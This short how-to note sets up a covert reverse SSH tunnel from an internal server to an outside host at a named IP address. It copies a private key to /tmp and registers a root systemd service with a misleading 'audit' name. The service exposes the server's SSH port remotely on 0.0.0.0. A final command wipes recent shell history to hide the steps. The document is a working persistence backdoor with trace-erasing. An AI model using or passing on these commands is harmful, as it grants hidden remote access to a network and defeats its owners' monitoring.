reverse ssh

Copy to internal server your private and public key (public to authorized_keys):

scp .\.ssh\id_ed25519 myhost:/tmp/

Install autosshL:

sudo apt install autossh

Create systemd service:

sudo nano /etc/systemd/system/sysinit-target-audit.service

With content:

[Unit]
Description=sysinit-target-audit.service
After=network.target

[Service]
User=root
ExecStart=/usr/bin/autossh -N -R 0.0.0.0:2222:127.0.0.1:22 samuel@64.181.205.211
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Then:

sudo systemctl daemon-reload
sudo systemctl enable sysinit-target-audit.service
sudo systemctl start sysinit-target-audit.service

Clear history :))) :

for cmd in $(history | tail -28 | awk '{print $1}' | sort -r); do history -d "$cmd"; done && history -w